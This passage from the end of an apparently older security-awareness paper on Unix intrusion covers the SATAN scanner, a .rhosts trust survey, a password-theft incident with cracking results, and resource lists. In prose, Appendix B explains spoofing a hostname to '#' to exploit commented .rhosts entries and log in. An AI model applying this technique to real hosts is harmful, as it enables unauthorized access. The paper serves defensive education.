everybody. But you since you can trust me, may I have a copy
of it?"
We never set out to create a cookbook or toolkit of methods
and programs on
how to break into systems -- instead, we saw that these same
methods were
being used, every day, against ourselves and against friendly
system
administrators. We believe that by propagating information
that normally
wasn't available to those outside of the underworld, we can
increase
security by raising awareness. Trying to restrict access to
"dangerous"
security information has never seemed to be a very effective
method for
increasing security; indeed, the opposite appears to be the
case, since the
system crackers have shown little reticence to share their
information with
each other.
While it is almost certain that some of the information
presented here is
new material to (aspiring) system crackers, and that some
will use it to
gain unauthorized entrance onto hosts, the evidence
presented even by our ad
hoc tests shows that there is a much larger number of
insecure sites, simply
because the system administrators don't know any better --
they aren't
stupid or slow, they simply are unable to spend the very
little free time
that they have to explore all of the security issues that
pertain to their
systems. Combine that with no easy access to this sort of
information and
you have poorly defended systems. We (modestly) hope that
this paper will
provide badly-needed data on how systems are broken into,
and further, to
explain _why_ certain steps should be taken to secure a
system. Knowing why
something is a problem is, in our opinion, the real key to
learning and to
making an informed, intelligent choice as to what security
really means for
your site.
----------------------------------------------------------------------------
Appendix A:
SATAN (Security Analysis Tool for Auditing Networks)
Originally conceived some years ago, SATAN is actually the
prototype of a
much larger and more comprehensive vision of a security
tool. In its current
incarnation, SATAN remotely probes and reports various bugs
and weaknesses
in network services and windowing systems, as well as
detailing as much
generally useful information as possible about the
target(s). It then
processes the data with a crude filter and what might be
termed an expert
system to generate the final security analysis. While not
particularly fast,
it is extremely modular and easy to modify.
SATAN consists of several sub-programs, each of which is an
executable file
(perl, shell, compiled C binary, whatever) that tests a host
for a given
potential weakness. Adding further test programs is as
simple as putting an
executable into the main directory with the extension
".sat"; the driver
program will automatically execute it. The driver generates
a set of targets
(using DNS and a fast version of ping together to get
"live" targets), and
then executes each of the programs over each of the targets.
A data
filtering/interpreting program then analyzes the output, and
lastly a
reporting program digests everything into a more readable
format.
The entire package, including source code and documentation,
will be made
freely available to the public, via anonymous ftp and by
posting it to one
of the numerous source code groups on the Usenet.
----------------------------------------------------------------------------
Appendix B:
An informal survey conducted on about a dozen Internet sites
(educational,
military, and commercial, with over 200 hosts and 40000
accounts) revealed
that on the average, close to 10 percent of a site's
accounts had .rhosts
files. These files averaged six trusted hosts each; however,
it was not
uncommon to have well over one hundred entries in an
account's .rhosts file,
and on a few occasions, the number was over five hundred!
(This is not a
record one should be proud of owning.) In addition, _every_
site directly on
the internet (one site was mostly behind a firewall) trusted
a user or host
at another site -- thus, the security of the site was not
under the system
administrators direct control. The larger sites, with more
users and hosts,
had a lower percentage of users with .rhosts files, but the
size of .rhosts
files increased, as well as the number of trusted off-site
hosts.
Although it was very difficult to verify how many of the
entries were valid,
with such hostnames such as "Makefile",
"Message-Id:", and
"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a
few wildcard entries, we
question the wisdom of putting a site's security in the
hands of its users.
Many users (especially the ones with larger .rhosts files)
attempted to put
shell-style comments in their .rhosts files, which most UNIX
systems attempt
to resolve as valid host names. Unfortunately, an attacker
can then use the
DNS and NIS hostname spoofing techniques discussed earlier
to set their
hostname to "#" and freely log in. This puts a
great many sites at risk (at
least one major vendor ships their systems with comments in
their
/etc/hosts.equiv files.)
You might think that these sites were not typical, and, as a
matter of fact,
they weren't. Virtually all of the administrators knew a
great deal about
security and write security programs for a hobby or
profession, and many of
the sites that they worked for did either security research
or created
security products. We can only guess at what a
"typical" site might look
like.
----------------------------------------------------------------------------
Appendix C:
After receiving mail from a site that had been broken into
from one of our
systems, an investigation was started. In time, we found
that the intruder
was working from a list of ".com" (commercial)
sites, looking for hosts with
easy-to steal password files. In this case,
"easy-to-steal" referred to
sites with a guessable NIS domainname and an accessible NIS
server. Not
knowing how far the intruder had gotten, it looked like a
good idea to warn
the sites that were in fact vulnerable to password file
theft. Of the 656
hosts in the intruder's hit list, 24 had easy-to-steal
password files --
about one in twenty-five hosts! One third of these files
contained at least
one password-less account with an interactive shell. With a
grand total of
1594 password-file entries, a ten-minute run of a
publically-available
password cracker (Crack) revealed more than 50 passwords,
using nothing but
a low-end Sun workstation. Another 40 passwords were found
within the next
20 minutes; and a root password was found in just over an
hour. The result
after a few days of cracking: five root passwords found, 19
out of 24
password files (eighty percent) with at least one known
password, and 259 of
1594 (one in six) passwords guessed.
----------------------------------------------------------------------------
Appendix D:
How to get some free security resources on the Internet
Mailing lists:
* The CERT
(Computer Emergency Response Team) advisory mailing list. Send
e-mail to
[email protected], and ask to be placed on their mailing list.
* The Phrack
newsletter. Send an e-mail message to [email protected]
and ask to be
added to the list.
* The Firewalls
mailing list. Send the following line to
subscribe
firewalls
* Computer
Underground Digest. Send e-mail to [email protected],
asking to be
placed on the list.
Free Software:
COPS (Computer Oracle and Password System) is available via
anonymous ftp
from ftp://ftp.win.tue.nl/pub/security/.
The latest version of berkeley sendmail is available via
anonymous ftp from
ftp://ftp.cs.berkeley.edu/ucb/sendmail/.
Sources for ftpd and many other network utilities can be
found in
ftp://ftp.uu.net/packages/bsd-sources/.
Source for ISS (Internet Security Scanner), a tool that
remotely scans for
various network vulnerabilities, is available via anonymous
ftp from
ftp://ftp.uu.net/usenet/comp.sources.misc/volume40/iss/.
Securelib is available via anonymous ftp from
ftp://ftp.uu.net/usenet/comp.sources.misc/volume36/securelib/.
----------------------------------------------------------------------------
Bibliography:
Baldwin, Robert W., Rule Based Analysis of Computer
Security, Massachusetts
Institute of Technology, June 1987.
Bellovin, Steve, Using the Domain Name System for System
Break-ins, 1992
(unpublished).
Massachusetts Institute of Technology, X Window System
Protocol, Version 11,
1990.
Shimomura, Tsutomu, private communication.
Sun Microsystems, OpenWindows V3.0.1 User Commands, March
1992.
----------------------------------------------------------------------------
Suggested reading:
Bellovin, Steve, Security Problems in the TCP/IP Protocol
Suite, Computer
Communication Review 19 (2), 1989; a comment by Stephen Kent
appears in
volume 19 (3), 1989.
Garfinkle, Simson and Spafford, Gene, Practical UNIX
Security, O'Reilly and
Associates, Inc., 1992.
Hess, David, Safford, David, and Pooch, Udo, A UNIX Network
Protocol Study:
Network Information Service, Computer Communication Review
22 (5) 1992.
Phreak Accident, Playing Hide and Seek, UNIX style, Phrack,
Volume Four,
Issue Forty-Three, File 14 of 27.
Ranum, Marcus, Firewalls internet electronic mailing list,
Sept 1993.
Schuba, Christoph, Addressing Weaknesses in the Domain Name
System Protocal,
Purdue University, August 1993.
Thompson, Ken, Reflections on Trusting Trust, Communications
of the ACM 27
(8),1984.